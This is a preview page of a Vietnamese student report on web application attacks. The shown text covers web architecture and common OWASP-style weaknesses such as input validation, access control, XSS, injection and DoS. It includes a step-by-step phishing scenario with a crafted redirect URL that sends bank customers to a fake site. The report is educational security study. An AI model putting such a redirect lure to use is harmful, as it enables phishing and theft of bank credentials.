1. Trang chủ
  2. » Giáo Dục - Đào Tạo

Tấn công web và ứng dụng

56 94 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 56
Dung lượng 2,69 MB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Dưới góc độ chức năng, ứng dụng Web là các chương trình máy tính cho phép người dùng website đăng nhập, truy vấn vào/ra dữ liệu qua mạng Internet trên trình duyệt Web yêu thích của họ..

Trang 1

AT6A-Học viện kỹ thuật mật mã Page 1

MỤC LỤC

CHƯƠNG I: TỔNG QUAN VỀ WEB VÀ ỨNG DỤNG 3

1.1 KIẾN TRÚC VÀ HOẠT ĐỘNG CỦA ỨNG DỤNG WEB 3

1.1.1 Khái niệm 3

1.1.2 Kiến trúc ứng dụng web 5

1.1.3 Mô tả hoạt động 7

CHƯƠNG II: CÁC ĐIỂM YẾU AN NINH ỨNG DỤNG WEB THƯỜNG GẶP 8

2.1 Dữ liệu đầu vào không được kiểm tra 8

2.2 Lỗi kiểm soát truy cập nguồn tài nguyên 10

2.3 Lỗi liên quan đến quá trình quản lý xác thực và phiên truy cập 11

2.4 Lỗi Cross Site Scripting (XSS) 12

2.5 Lỗi tràn bộ đệm 13

2.6 Lỗi Injection 14

2.7 Quy trình quản lý báo lỗi 15

2.8 Lưu trữ thiếu an toàn 16

2.9 Từ chối dịch vụ 17

2.10 Quản lý cấu hình thiếu an toàn 18

CHƯƠNG III: PHÂN LOẠI CÁC TẤN CÔNG WEB VÀ ỨNG DỤNG 20

3.1 Tấn công máy chủ Web 20

3.2 Tấn công các lỗ hổng liên quan đến vấn đề quản trị Web 20

3.3 Tấn công dựa trên lỗ hổng tầng ứng dụng Web 20

CHƯƠNG IV: MỘT SỐ TẤN CÔNG VÀO CÁC ĐIỂM YẾU QUAN TRỌNG 22

4.1 LỖI CROSS SITE SCRIPTING (XSS) 22

4.1.1 Mô tả việc khai thác 22

4.1.2 Phương pháp tấn công XSS truyền thống 24

4.1.3 Tấn công bằng XSS Flash 24

4.1.4 Tấn công chiếm phiên làm việc 27

4.1.4.1 Tổng quan về SessionID 27

a Ấn định phiên làm việc 27

b Đánh cắp phiên làm việc 28

4.1.4.2 Tấn công Session ID trên tham số URL 29

4.1.5 Phòng chống 29

4.2 LỖI INJECTION 30

Trang 2

AT6A-Học viện kỹ thuật mật mã Page 2

4.2.1 Khái niệm SQL Injection 30

4.2.2 Giới thiệu mô hình cơ sở dữ liệu 30

4.2.3 Kỹ thuật tấn công cơ bản 31

4.2.3.1 Sử dụng ký tự đặc biệt 31

4.2.3.2 Tấn công dưa vào câu lệnh SELECT 32

4.2.3.3 Tấn công dựa vào câu lệnh HAVING 34

4.2.3.4 Tấn công dựa vào câu lệnh kết hợp UNION 35

4.2.3.5 Tấn công dưa vào lệnh INSERT 38

4.2.4 Kỹ thuật tấn công nâng cao 38

4.2.4.1 Chuỗi kí tự không có dấu nháy đơn 38

4.2.4.2 Tấn công 2 tầng 39

4.2.4.3 Tránh sự kiểm soát 41

4.2.4.4 Dùng Extended Stored Procedure 41

4.2.5 Cách phòng chống 42

4.2.5.1 Kiểm tra dữ liệu 43

4.2.5.2 Khoá chặt SQL Server (SQL Server Lockdown) 45

4.3 LỖI TỪ CHỐI DỊCH VỤ 46

4.3.1 Khái niệm 46

4.3.2 Các cách thức tấn công DoS 46

4.3.2.1 Thông qua kết nối 46

4.3.2.2 Lợi dụng nguồn tài nguyên của chính nạn nhân để tấn công 47

4.3.2.3 Sử dụng băng thông 47

4.3.2.4.Sử dụng các nguồn tài nguyên khác 48

4.3.3 Các cách phòng chống 49

CHƯƠNG V: DEMO, ĐÁNH GIÁ VÀ HƯỚNG PHÁT TRIỂN ĐỀ TÀI 50

5.1 Demo 50

5.1.1 Trang Web sẽ bị tấn công 50

5.1.2 Quá trình tấn công 50

5.1.3 Kết quả 54

5.2 Kết luận 50

5.2.1 Các vấn đề đạt được 55

5.2.2 Hạn chế 55

5.2.3 Hướng phát triển đề tài 55

TÀI LIỆU THAM KHẢO 56

Trang 3

AT6A-Học viện kỹ thuật mật mã Page 3

CHƯƠNG I: TỔNG QUAN VỀ WEB VÀ ỨNG DỤNG

1.1 KIẾN TRÚC VÀ HOẠT ĐỘNG CỦA ỨNG DỤNG WEB

1.1.1 Khái niệm

Dưới góc độ kỹ thuật, Web được định nghĩa là môi trường có khả năng thực thi chương trình cao, cho phép tạo các tùy biến trên triển khai trực tiếp của một lượng lớn các ứng dụng tới đa người dùng Hai thành phần quan trọng nhất của website hiện là trình duyệt Web linh hoạt và các ứng dụng Web

Web browser (trình duyệt web) là các ứng dụng phần mềm cho phép người dùng truy vấn dữ liệu và tương tác với nội dung nằm trên trang Web bên trong website

Ứng dụng Web là một ứng dụng chủ/khách sử dụng giao thức HTTP để tương tác với người dùng hay hệ thống khác Ứng dụng web được chia thành hai loại chính: ứng dụng web Public và ứng dụng web Private

 Ứng dụng web Public: là website dùng để quảng bá thông tin, cung cấp và trao đổi thông tin với với bên ngoài như các website thương mại điện tử, các website của các công ty chứng khoán, các ngân hàng,…

 Ứng dụng web Private: là các website cung cấp và trao đổi thông tin trong một tổ chức, doanh nghiệp và các đối tác chiến lược… Các website này thường dùng để cung cấp thông tin cho các văn phòng, chi nhánh, các nhân viên đi công tác hoặc làm việc tại nhà và đôi khi là cho các đối tác chiến lược kết nối qua môi trường internet

Web Server (máy chủ web) là máy chủ có dung lượng lớn, tốc độ cao, được dùng

để chứa những website đã được thiết kế cùng với những thông tin liên quan khác (các mã Script, các chương trình, và các file Multimedia), Web Server có khả năng gửi đến máy khách những trang Web thông qua môi trường Internet (hoặc Intranet) qua giao thức HTTP - giao thức được thiết kế để gửi các file đến trình duyệt Web và các giao thức khác

Các trang Web hiện nay cho phép người dùng lấy xuống nội dung động cá nhân hóa theo thiết lập và tham chiếu riêng Hơn nữa chúng cũng có thể chạy các script trên máy khách, có thể ―thay đổi‖ trình duyệt Internet thành giao diện cho các ứng dụng như thư điện tử, phần mềm ánh xạ tương tác (Yahoo Mail, Google Maps)

Trang 4

AT6A-Học viện kỹ thuật mật mã Page 4

Quan trọng nhất là website ngày nay cho phép đóng gói, xử lý, lưu trữ và truyền tải dữ liệu khách hàng nhạy cảm (như thông tin cá nhân, mã số thẻ tín dụng, thông tin bảo mật xã hội …) có thể dùng ngay hoặc dùng định kỳ về sau Và, điều này được thực hiện qua các ứng dụng Web Đó có thể là thành phần webmail (thư điện tử), trang đăng nhập, chương trình hỗ trợ và mẫu yêu cầu sản phẩm hay hoạt động mua bán, hệ thống quản lý nội dung, phát triển website hiện đại, cung cấp cho các doanh nghiệp phương tiện cần thiết để liên lạc với khách hàng tương lai và khách hàng hiện tại

Dưới góc độ chức năng, ứng dụng Web là các chương trình máy tính cho phép người dùng website đăng nhập, truy vấn vào/ra dữ liệu qua mạng Internet trên trình duyệt Web yêu thích của họ Dữ liệu sẽ được gửi tới người dùng trong trình duyệt theo kiểu thông tin động (trong một định dạng cụ thể, như với HTML thì dùng CSS) từ ứng dụng Web qua một Web Server

Các ứng dụng Web truy vấn máy chủ chứa nội dung (chủ yếu trên cơ sở dữ liệu lưu trữ nội dung) và tạo tài liệu Web động để phục vụ yêu cầu của máy khách (chính là người dùng website) Tài liệu được tạo trong kiểu định dạng tiêu chuẩn hỗ trợ trên tất cả mọi trình duyệt (như HTML, XHTML) JavaScript là một dạng script client-side cho phép yếu tố động có ở trên từng trang (như thay đổi ảnh mỗi lần người dùng di chuột tới)

Nó dịch và chạy tất cả script, lệnh… khi hiển thị trang web và nội dung được yêu cầu Wikipedia, bộ bách khoa toàn thư trực tuyến lớn nhất thế giới hiện nay định nghĩa Web browser là ―máy khách chung cho mọi ứng dụng web‖

Một cải tiến đáng kể khác trong quá trình xây dựng và duy trì các ứng dụng Web

là chúng có thể hoạt dộng mà không cần quan tâm đến hệ điều hành hay trình duyệt chạy trên các máy client Ứng dụng Web được triển khai ở bất cứ nơi nào có Internet, và hầu hết không đòi hỏi yêu cầu cài đặt cho người dùng cuối

Một số ví dụ về Web application:

 CMS (Content Management System) Hệ quản trị nội dung, cũng được gọi

là hệ thống quản lý nội dung là phần mềm để tổ chức và tạo môi trường cộng tác thuận lợi nhằm mục đích xây dựng một hệ thống tài liệu và các loại nội dung khác một cách thống nhất

 Web mail (Web-based Emails) là một giao diện web, được thiết kế cho phép truy cập email trên máy chủ từ bất cứ đâu trên thế giới thông qua web (sử dụng trình duyệt) Giao thức IMAP đã giúp WebMail thực hiện việc này Web mail cho phép chúng ta thực hiện nhiều chức năng như: soạn thư, gửi thư, lịch làm việc…

Trang 5

AT6A-Học viện kỹ thuật mật mã Page 5

 Shopping Carts là một loại ứng dụng web dùng cho việc mua sắm trực tuyến, Các shopping cart không yêu cầu phần mềm giao dịch an toàn Chúng thực tế là một phần của site ảo để bán hàng trực tuyến, Các shopping cart sử dụng các cookie để xác định danh sách các sản phẩm mà khách hàng đã chọn mua Có hai cách mà một công ty có thể thiết lập cookie Cách thứ nhất là sao lưu từng giao dịch shopping cart vào một cookie ở máy tính của khách hàng Cách thứ hai là gắn một ID khách hàng

và lưu ID này ở trong một cookie

 Portal hay cổng thông tin điện tử được hiểu như là một trang web xuất phát

mà từ đó người sử dụng có thể dễ dàng truy xuất các trang web và các dịch

vụ thông tin khác trên mạng máy tính Lợi ích lớn nhất mà portal đem lại là tính tiện lợi, dễ sử dụng, Thay vì phải nhớ vô số các địa chỉ khác nhau cho các mục đích sử dụng khác nhau, thì với một web portal như Yahoo, người dùng chỉ cần nhớ yahoo.com Hiện nay ở Việt nam, các cơ quan nhà nước, các công ty vẫn sử dụng loại ứng dụng web này Một vài Portal tiêu biểu như:

 Portal của Mobifone: http://www.mobifone.com.vn/web/vn/

 Hay Portal của chính phủ:

http://www.chinhphu.vn/portal/page?_pageid=33,1&_dad=portal&_schema=PORTAL

 Và còn nhiều ứng dụng web khác nữa

1.1.2 Kiến trúc ứng dụng web

Hình bên dưới minh họa chi tiết mô hình ứng dụng Web ba lớp Lớp đầu tiên Presentation layer là trình duyệt Web hoặc giao diện người dùng Lớp thứ hai Business logic layer là công nghệ kỹ thuật tạo nội dung động như Java servlets (JSP) hay Active Server Pages (ASP) Còn lớp thứ ba là Data access layer-cơ sở dữ liệu chứa nội dung (như tin tức) và dữ liệu người dùng (như username, password, mã số bảo mật xã hội, chi tiết thẻ tín dụng)

Trang 6

AT6A-Học viện kỹ thuật mật mã Page 6

Hình 1 Kiến trúc 3 lớp của web application

 Lớp trình bày (Prensentation layer): Gồm các thành phần giao diện đồ họa người dùng (GUI) chuẩn giúp hiển thị dữ liệu cho người dùng, ngoài ra còn có thể có thêm các ứng dụng tạo bố cục cho trang web Nó phải hoạt động cùng với lớp business logic để xử lý việc truyền dữ liệu cho người dùng xem và sử dụng Lớp này có thể nói chuyện trực tiếp với lớp dữ liệu Data layer

 Lớp ứng dụng(Bussiness logic layer): Là nơi xử lý của ứng dụng Web Nó sẽ xử lý thông tin người dùng yêu cầu, đưa ra quyết định, gửi kết quả đến―lớp trình bày‖ Lớp này thường được cài đặt bằng các kỹ thuật lập trình như CGI, Java, NET, PHP, được triển khai trên các trình chủ như Apache, IIS

 Lớp dữ liệu (Data access layer): Thường là các hệ quản trị dữ liệu (DBMS) chịu trách nhiệm quản lý các file dữ liệu và quyền sử dụng Lớp này là optional (ứng dụng đơn giản không có tier này), chỉ hoạt động với dữ liệu và truy cập đến dữ liệu Ví dụ về lớp này:

 Microsoft SQL Server

 Oracle Database Server

 MySQL Server

 OpenLDAP

Trang 7

AT6A-Học viện kỹ thuật mật mã Page 7

1.1.3 Mô tả hoạt động

Đầu tiên trình duyệt sẽ gửi một yêu cầu (request) đến trình chủ Web thông qua các lệnh cơ bản GET, POST… của giao thức HTTP, trình chủ lúc này có thể cho thực thi một chương trình được xây dựng từ nhiều ngôn ngữ như Perl, C/C++… hoặc trình chủ yêu cầu bộ diễn dịch thực thi các trang ASP, JSP… theo yêu cầu của trình khách

Hình 2 Kiến trúc n lớp của web application

Tùy theo các tác vụ của chương trình được cài đặt mà nó xử lý, tính toán, kết nối đến cơ sở dữ liệu, lưu các thông tin do trình khách gửi đến…và từ đó trả về cho trình khách 1 luồng dữ liệu có định dạng theo giao thức HTTP, nó gồm 2 phần:

 Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng thái trao đổi giữa trình duyệt và WebServer

 Body là phần nội dung dữ liệu mà Server gửi về Client, nó có thể là một file HTML, một hình ảnh, một đoạn phim hay một văn bản bất

Với firewall, luồng thông tin giữa trình chủ và trình khách là luồng thông tin hợp

lệ Vì thế, nếu hacker tìm thấy vài lỗ hổng trong ứng dụng Web thì firewall không còn hữu dụng trong việc ngăn chặn hacker này Do đó, các kĩ thuật tấn công vào một hệ thống mạng ngày nay đang dần tập trung vào những sơ suất (hay lỗ hổng) trong quá trình tạo ứng dụng của những nhà phát triển Web hơn là tấn công trực tiếp vào hệ thống mạng, hệ điều hành Tuy nhiên, hacker cũng có thể lợi dụng các lỗ hổng Web để mở rộng sự tấn công của mình vào các hệ thống không liên quan khác

Trang 8

AT6A-Học viện kỹ thuật mật mã Page 8

CHƯƠNG II: CÁC ĐIỂM YẾU AN NINH ỨNG DỤNG WEB THƯỜNG

tử trên môi trường internet, nguy cơ bị đánh cắp các thông tin nhạy cảm như: thông tin tài khoản, mật khẩu truy cập hệ thống và thông tin thẻ tín dụng,…vì vậy việc bảo vệ bảo mật cho các trang web trực tuyến là hết sức quan trọng

Trong phần này của đề tài em muốn phân tích các điểm yếu an ninh hiện nay dựa vào thống kê các điểm yếu an ninh thường gặp do tổ chức OWASP đưa ra, qua đó đưa ra các giải pháp khắc phục nhằm làm giảm rủi ro khi bị hacker tấn công

2.1 Dữ liệu đầu vào không được kiểm tra

Ứng dụng Web sử dụng dữ liệu đầu vào trong các truy cập HTTP (hoặc trong các tập tin) nhằm xác định kết quả phản hồi Tin tặc có thể sửa đổi bất kỳ phần nào của một truy xuất HTTP, bao gồm URL, querystring, headers, cookies, form fields, và thậm chí field ẩn (hidden fields), nhằm vượt qua các cơ chế bảo mật Các tấn công phổ biến dạng này bao gồm:

Trang 9

AT6A-Học viện kỹ thuật mật mã Page 9

Một số Web site bảo vệ chống lại loại tấn công này bằng cách thiết lập bộ lọc dữ liệu đầu vào Vấn đề nan giải là có rất nhiều cách để mã hóa (encode) dữ liệu, và những phương cách mã hóa này không giống như các cách mã hóa thông thường khác ở chỗ là

nó dễ dàng được giải mã Tuy vậy, những nhà lập trình viên thường quên giải mã tất cả các tham số trước khi sử dụng chúng Tham số cần phải được chuyển đổi đến dạng đơn giản nhất trước khi được kiểm tra, nếu không, dữ liệu xấu đầu vào có thể được mã hóa ẩn

và vượt qua tầng bảo vệ của các module kiểm tra dữ liệu

Một số lượng lớn ứng dụng chỉ sử dụng các cơ chế lọc phía trình duyệt để kiểm tra

dữ liệu đầu vào Các cơ chế kiểm tra phía trình duyệt rất dễ dàng được vượt qua, và ứng dụng web xem như không được bảo vệ bởi cơ chế này Tin tặc có thể tạo ra các truy xuất HTTP không thông qua trình duyệt bằng cách sử dụng các công cụ như telnet, truy xuất thẳng đến cổng 80 của máy chủ web Kiểm tra dữ liệu ở phía máy trình duyệt có lợi điểm

về hiệu suất và tính dễ sử dụng, tuy nhiên cơ chế này không cung cấp bất cứ lợi điểm gì

về bảo mật Kiểm tra dữ liệu ở phía server đóng vai trò thiết yếu trong việc ngăn cản những cuộc tấn công dạng sửa đổi tham số đầu vào Khi các cơ chế bảo vệ ở server đã được thiết lập, cơ chế bảo vệ phía trình duyệt có thể được sử dụng nhằm giảm bớt dung lượng các dữ liệu không hợp lệ đến máy chủ

Hình 3 Sử dụng Proxy để thay đổi tham số

Hình 3 mô tả phương cách phổ biến của hacker hiện nay sử dụng để tấn công ứng dụng web Trước tiên, hacker thiết lập một proxy đứng giữa trình duyệt và máy chủ ứng dụng web Proxy này có khả năng chặn các gói dữ liệu trước khi chuyển đến máy chủ, do

đó cho phép hacker sửa đổi dữ liệu truy cập và chèn các mã tấn công trước khi gửi đến ứng dụng web

Những cuộc tấn công dạng này đang có xu hướng ngày càng phổ biến hơn do số lượng các công cụ hỗ trợ các chức năng tạo tham số bất kỳ, tạo mã tấn công, tấn công brute force đang ngày càng tăng Hậu quả cuộc việc sử dụng các tham số không được kiểm tra không nên được xem nhẹ Một số lượng lớn các cuộc tấn công sẽ gây khó khăn

Trang 10

AT6A-Học viện kỹ thuật mật mã Page 10

cho nhà lập trình web nếu họ không có một hệ thống tập trung kiểm tra tính hợp lệ của tất

cả các truy xuất HTTP

2.2 Lỗi kiểm soát truy cập nguồn tài nguyên

Kiểm soát truy cập tài nguyên (authorization), là cơ chế mà ứng dụng web cho phép truy cập đến nội dung, tính năng ứng dụng cho một số người sử dụng và từ chối truy cập cho một số người sử dụng khác Những kiểm tra này được thực hiện sau quá trình xác thực, và quản lý các quyền truy cập mà người sử dụng được phép Kiểm soát truy cập

bề ngoài tưởng chừng là một vấn đề đơn giản nhưng thực tế là một vấn đề rất khó được thi hành đầy đủ Một mô hình quản lý truy cập tài nguyên cho ứng dụng web cần được thiết kế theo sát các nội dung và hàm chức năng của một web site cung cấp

Hình 4 Quản lý kiểm soát truy cập tài nguyên trung tâm

Để mô tả rõ hơn về lỗi bảo mật này, em xin đưa ra một ví dụ về một dạng tấn công vào trang web portal cho một công ty cung cấp dịch vụ trực tuyến cho các thuê bao điện thoại di động

Thường thì loại web portal này cung cấp cho người sở hữu thuê bao một tài khoản trên trang web và cung cấp các dịch vụ sau:

 Cho phép mỗi người sử dụng được phép gửi 5 tin nhắn không tốn tiền đến các thuê bao cùng mạng

Trang 11

AT6A-Học viện kỹ thuật mật mã Page 11

 Cho phép người sử dụng được upload sổ địa chỉ cá nhân lên trang web và dowload khi có nhu cầu

 Cho phép người sử dụng được xem lịch sử cuộc gọi của máy thuê bao Nếu cơ chế kiểm soát quyền sử dụng dịch vụ trên bị lỗi, hacker có thể có các tấn công sau:

 Sửa đổi các tham số về số lượng giới hạn tin nhắn và có thể gửi hơn 5 tin nhắn cho phép không tốn tiền mỗi ngày

 Truy cập vào sổ địa chỉ của thuê bao khác

 Xem được lịch sử cuộc gọi của các thuê bao khác

Những nhà lập trình viên thường không đánh giá được mức độ khó khăn trong việc xây dựng một cơ chế quản lý kiểm soát truy cập dữ liệu Đa số những chức năng này không đựơc thiết kế từ lúc đầu mà được xây dựng kèm theo tùy tính năng của ứng dụng

Vì vậy, các chức năng kiểm soát được xây dựng ở khắp các module khác nhau trong mã nguồn Khi ứng dụng được phát triển xong và đưa và triển khai, các mã kiểm soát này sẽ trở nên không thống nhất và gây ra nhiều lỗ hổng nghiêm trọng khó phát hiện được

2.3 Lỗi liên quan đến quá trình quản lý xác thực và phiên truy cập

Quản lý xác thực và phiên truy cập bao gồm tất cả các yếu tố quản lý xác thực người sử dụng và các phiên truy cập Xác thực người dùng là một yếu tố quan trọng trong quy trình này, nhưng ngay cả những cơ chế xác thực mạnh nhất vẫn có thể bị mắc những lỗi liên quan đến các chức năng quản lý xác thực, bao gồm thay đổi password, quên password, nhớ password ở trình duyệt, cập nhật tài khoản, và những hàm chức năng khác

Xác thực người dùng trên ứng dụng web thường bao gồm sử dụng một username

và password Những phương pháp xác thực khác mạnh hơn bao gồm các giải pháp phần cứng hoặc mềm dựa trên các token mã hóa hoặc dùng phương pháp sinh trắc học (biometrics) Tuy nhiên những phương pháp này có phần hạn chế do giá thành cao Một

số lượng lớn lỗi ứng dụng trong các hàm quản lý tài khoản và phiên truy cập có thể dẫn đến mối nguy cơ lộ tài khỏan người sử dụng và thậm chí tài khỏan của người quản trị

Ứng dụng web thường phải theo dõi và duy trì phiên truy cập của người dùng nhằm phân biệt các truy cập từ người dùng khác nhau Giao thức HTTP không cung cấp khả năng này và do đó ứng dụng web phải tự tạo cơ chế này Thường thì, môi trường phát triển ứng dụng cung cấp cơ chế quản lý phiên truy cập (thường là dưới hình thức cookie token), tuy nhiên, đa số các nhà lập trình nghiêng về phát triển cơ chế riêng của họ Trong

Trang 12

AT6A-Học viện kỹ thuật mật mã Page 12

cả hai trường hợp, nếu token quản lý phiên truy cập không được bảo vệ, tin tặc có thể ăn cắp token truy cập tài khoản của người khác

2.4 Lỗi Cross Site Scripting (XSS)

Lỗi Cross-site scripting (thường được gọi tắt là XSS) xảy ra khi một ứng dụng web bị lợi dụng để gửi dữ liệu xấu (thường là đoạn mã script) đến trình duyệt của người

sử dụng Những lỗ hổng này rất phổ biến và xảy ra trong bất cứ phần nào của ứng dụng web có sử dụng dữ liệu từ người dùng trong các giá trị phản hồi mà không kiểm tra tính hợp lệ

Một tin tặc có thể sử dụng lỗ hổng này để gửi các đoạn mã đến người dùng Trình duyệt trong máy người dùng không thể biết được nên tin hay không tin đoạn mã nào, và

sẽ thi hành đoạn script này Bởi vì trình duyệt tin rằng đoạn mã đến từ một nguồn tin tưởng, đoạn mã script có thể truy cập đến cookies, session tokens, hoặc bất kỳ thông tin nhạy cảm nào được lưu lại trong trình duyệt có liên quan đến trang web đang truy cập Những đoạn mã này còn có thể sửa đổi nội dung trang web

Hậu quả của tấn công dạng XSS có thể rất nguy hiểm, bao gồm lộ session cookie, cho phép tin tặc chiếm quyền sở hữa tài khoản Những hậu quả khác bao gồm: lộ các tập tin của người dùng, cài đặt các chương trình trojan, di chuyển người sử dụng đến trang web khác, sửa đổi nội dung trang web nhằm đánh lừa người dùng

Hình 5 mô tả một ví dụ tấn công dạng cross site scripting với hậu quả là khách hàng bị lừa truy cập vào trang web giả mạo nhằm ăn cắp tài khoản khách hàng:

Hình 5 Tấn công XSS

Trang 13

AT6A-Học viện kỹ thuật mật mã Page 13

1 Hacker phát hiện lỗ hổng cross-site-scripting trên trang web của một ngân hàng thật http://www.bank-that.com

2 Hacker tạo một trang web trông giống ngân hàng thật tại địa chỉ http://www.bank-gia.com

3 Hacker soạn một email giả từ nhân viên của ngân hàng gửi đến cho một khách hàng Trong email, hacker soạn một nội dung yêu cầu khách hàng bấm vào một link trông giống như một link truy cập vào ngân hàng thật http://www.bank-that.com/dichvu.asp?url=http://www.bank-gia.com

4 Khách hàng nhận được email, tưởng là email từ phía ngân hàng thật, nên bấm vào link

5 Khi bấm vào link, thay vì truy cập vào ngân hàng thật, trình duyệt của khách hàng được chuyển tự động đến trang web ngân hàng giả do hacker tạo sẵn trông giống như ngân hàng thật

Trang 14

AT6A-Học viện kỹ thuật mật mã Page 14

2.6 Lỗi Injection

Lỗi injection cho phép tin tặc lợi dụng lỗ hổng trong ứng dụng web làm phương tiện để gửi các đoạn mã nguy hiểm đến hệ thống Những cuộc tấn công dạng này bao gồm các mã gọi hàm đến hệ điều hành, gọi các ứng dụng qua lệnh shell, và các hàm gọi đến cơ sở dữ liệu (SQL injection) Những đoạn mã nguy hiểm được viết bằng perl, python và ngôn ngữ khác có thể được chuyển đến và thực thi bởi ứng dụng web, hệ điều hành hoặc các ứng dụng khác

Rất nhiều ứng dụng web sử dụng các hàm của hệ điều hành và các chương trình ngoài để thi hành các chức năng Sendmail là một trong những chương trình ngoài được

sử dụng nhiều nhất Khi ứng dụng web sử dụng dữ liệu từ người dùng để tạo ra đoạn mã thực thi, dữ liệu từ người dùng cần được lọc kỹ lưỡng Nếu không, tin tặc có thể kèm vào các ký tự đặc biệt, đoạn lệnh, và những thông tin xấu này có thể được chuyển đến hệ thống và các chương trình ngoài

Trang 15

AT6A-Học viện kỹ thuật mật mã Page 15

Hình 7 Lỗi SQL injection

Một trong những dạng phổ biến nhất của lỗi injection là lỗi ―sql injection‖ Lỗi này xảy ra khi ứng dụng sử dụng những dữ liệu đầu vào không được kiểm tra làm tham

số để xây dựng chuỗi lệnh SQL Bằng cách sử dụng những đoạn mã SQL đặc biệt, hacker

có thể gây ra những hậu quả nghiêm trọng như:

 Vượt qua hệ thống xác thực login mà không cần sử dụng password hoặc username

 Truy cập vào một phần hoặc tất cả các thông tin trong CSDL

 Lấy được thông tin về cấu trúc của cơ sở dữ liệu

 Sửa đổi hoặc xóa thông tin trong CSDL

 Chạy các lệnh trong hệ điều hành trên máy chủ CSDL

2.7 Quy trình quản lý báo lỗi

Quy trình xử lý báo lỗi có thể gây ra nhiều vấn đề bảo mật cho một trang web Vấn đề thông thường nhất là khi các thông báo lỗi có chứa các thông tin nhạy cảm như stack traces, thông tin cơ sở dữ liệu, và các mã lỗi được thông báo cho người dùng Những lỗi này cung cấp các thông tin về hệ thống, ứng dụng ở mức độ thấp và thông tin

Trang 16

AT6A-Học viện kỹ thuật mật mã Page 16

này phải được bảo mật Sử dụng những thông tin này, hacker có thể dò tìm ra những lỗi khác của ứng dụng

Hình 8 Báo lỗi thiếu an toàn

Đối với các thông báo lỗi SQL, hacker có thể dò được:

 Tên và phiên bản phầm mềm cơ sở dữ liệu

 Tên cơ sở dữ liệu

 Tên bảng và các cột trong bảng

Nếu trang web bị mắc lỗi SQL Injection, các thông tin trên sẽ giúp cho hacker khai thác sâu hơn lỗi này và lấy được toàn bộ các thông tin trong cơ sở dữ liệu

2.8 Lưu trữ thiếu an toàn

Đa số các ứng dụng web cần lưu trữ dữ liệu nhạy cảm, trong cơ sở dữ liệu hoặc trong một tập tin nào đó trong hệ thống Thông tin nhạy cảm bao gồm: mật khẩu, số thẻ tín dụng, thông tin tài khoản, hoặc các thông tin cần bảo vệ khác Các cơ chế mã hóa thường được sử dụng để bảo vệ những thông tin này Mặc dù sử dụng các hàm mã hóa không khó cho các lập trình viên, tuy nhiên, lập trình viên vẫn thường mắc những lỗi cơ bản khi áp dụng vào ứng dụng web do không hiểu rõ hết các đặc điểm mã hóa

Trang 17

AT6A-Học viện kỹ thuật mật mã Page 17

Hình 9 Lưu trữ thiếu an toàn

Những lỗi thông thường bao gồm:

 Không mã hóa dữ liệu quan trọng như khóa, certificates và mật khẩu

 Lưu trữ các khóa bảo mật trong bộ nhớ bằng các cơ chế không an toàn

 Cơ chế tạo số ngẫu nhiên không đảm bảo

 Sử dụng sai thuật toán

 Tạo một thuật toán mã hóa không đảm bảo

Hậu quả của những điểm yếu này có thể rất nghiêm trọng đến an toàn của một trang web, cho phép hacker lấy được toàn bộ các thông tin quan trọng được lưu trữ

2.9 Từ chối dịch vụ

Ứng dụng web rất dễ bị tổn thương do các cuộc tấn công từ chối dịch vụ (DoS) Tấn công từ chối dịch vụ vào ứng dụng web được định nghĩa là các tấn công làm tê liệt ứng dụng, làm cho các truy cập hợp lệ không thể được tiến hành

Đa số máy chủ web chỉ có thể xử lý hỗ trợ một số lượng nhất định người sử dụng trong điều kiện bình thường Một tin tặc có thể tạo ra nhiều truy cập đồng thời từ một máy để tấn công ứng dụng Sử dụng load balancing sẽ gây khó khăn cho các cuộc tấn công kiểu này, tuy nhiên không thể ngăn ngừa hoàn toàn nếu có quá nhiều truy cập cùng lúc

Một dạng khác của tấn công DoS ứng dụng web dựa trên các lỗi trong chức năng của ứng dụng Ví dụ một ứng dụng sử dụng cơ chế khóa tài khoản trong 1 tiếng hoặc hơn nếu nhận được quá 3 lần mật khẩu sai Hacker có thể lợi dụng điểm yếu này, gửi đến quá

3 lần sai mật khẩu của một tài khoản hợp lệ, hậu quả là người dùng của tài khoản này không thể truy cập được trong 1 tiếng hoặc hơn

Trang 18

AT6A-Học viện kỹ thuật mật mã Page 18

Trong một cuộc tấn công từ chối dịch vụ điển hình vào ứng dụng web, hackers sẽ tìm cách chiếm gần hết nguồn tài nguyên hệ thống trên máy chủ hoặc ứng dụng, hậu quả

là người sử dụng hợp lệ không thể truy cập vào ứng dụng Tài nguyên hệ thống bao gồm: băng thông, số lượng truy cập đồng thời cơ sở dữ liệu, dung lượng trống ổ cứng, CPU, dung lượng bộ nhớ RAM, threads, và các nguồn tài nguyên khác liên quan đến ứng dụng

Hình 10 Tấn công từ chối dịch vụ

Hình 10 mô tả một cuộc tấn công từ chối dịch vụ ứng dụng web điển hình Trong tấn công này, hacker lợi dụng vào điểu yếu của ứng dụng cho phép truy cập đến cơ sở dữ liệu (CSDL) từ bất kỳ kết nối nào, ngay cả những truy cập không được xác thực Giả định

là ứng dụng chỉ có thể xử lý tối đa 1000 truy cập cùng lúc đến CSDL, hacker sẽ gửi đến ứng dụng hơn 1000 kết nối đồng thời, tạo ra hơn 1000 truy cập đến CSDL, hậu quả là ứng dụng bị tê liệt, không thể đáp ứng các truy cập hợp lệ từ người sử dụng

2.10 Quản lý cấu hình thiếu an toàn

Cấu hình của máy chủ và các phần mềm hỗ trợ dịch vụ web là một yếu tố quan trọng trong vấn đề bảo mật của ứng dụng Máy chủ cung cấp nền tảng phục vụ cho việc cung cấp nội dung và các dịch vụ mà ứng dụng web cần sử dụng, bao gồm lưu trữ, dịch

vụ directory, emai Do là nền tảng cung cấp các chức năng cấp thấm cơ bản cho ứng dụng Những vấn đề về cấu hình của máy chủ có thể dẫn đến vấn đề bảo mật của ứng dụng

Trong đại đa số các công ty, nhóm phát triển ứng dụng web thường tách biệt với nhóm hỗ trợ triển khai trang web trên máy chủ Vì vậy, có sự không thống nhất và thiếu

Trang 19

AT6A-Học viện kỹ thuật mật mã Page 19

sự liên lạc về phương hướng bảo mật giữa hai nhóm này Điều này có thể dẫn đến những điểm yếu nghiêm trọng trên ứng dụng được tạo ra từ các lỗ hổng ở máy chủ

Theo các thống kê hiện nay, các lỗ hổng liên quan đến cấu hình máy chủ bao gồm:

 Các phần mềm và hệ điều hành trên máy chủ không được cập nhật với bản

